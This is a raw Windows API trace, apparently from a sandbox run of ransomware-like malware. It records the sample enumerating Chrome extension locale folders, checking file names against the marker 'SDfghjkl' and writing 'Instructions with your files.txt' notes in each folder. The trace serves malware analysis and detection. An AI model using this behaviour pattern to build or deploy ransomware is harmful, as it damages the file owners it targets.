[0129.772] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\..") returned 144
[0129.772] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.772] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 155
[0129.772] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.772] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.772] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\Instructions with your files.txt") returned 174
[0129.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.773] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.774] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.774] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.774] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.774] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.774] CloseHandle (hObject=0x134) returned 1
[0129.774] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.774] GetProcessHeap () returned 0x810000
[0129.774] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.774] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.774] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk") returned 141
[0129.774] GetProcessHeap () returned 0x810000
[0129.775] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.775] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*") returned 143
[0129.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.776] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\.") returned 143
[0129.776] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.776] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\..") returned 144
[0129.776] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.776] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 155
[0129.776] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.776] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.776] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\Instructions with your files.txt") returned 174
[0129.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.776] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.777] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.777] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.777] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.777] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.777] CloseHandle (hObject=0x134) returned 1
[0129.778] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.778] GetProcessHeap () returned 0x810000
[0129.778] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.778] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.778] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl") returned 141
[0129.778] GetProcessHeap () returned 0x810000
[0129.778] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.778] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*") returned 143
[0129.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.778] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\.") returned 143
[0129.778] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.778] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\..") returned 144
[0129.778] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.778] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 155
[0129.778] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.778] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.778] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\Instructions with your files.txt") returned 174
[0129.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.779] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.780] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.780] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.780] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.780] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.780] CloseHandle (hObject=0x134) returned 1
[0129.780] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.780] GetProcessHeap () returned 0x810000
[0129.780] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.780] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.780] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr") returned 141
[0129.780] GetProcessHeap () returned 0x810000
[0129.780] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.780] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*") returned 143
[0129.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.784] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\.") returned 143
[0129.784] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.784] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\..") returned 144
[0129.784] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.784] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 155
[0129.784] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.784] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.784] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\Instructions with your files.txt") returned 174
[0129.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.784] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.785] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.785] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.785] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.785] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.786] CloseHandle (hObject=0x134) returned 1
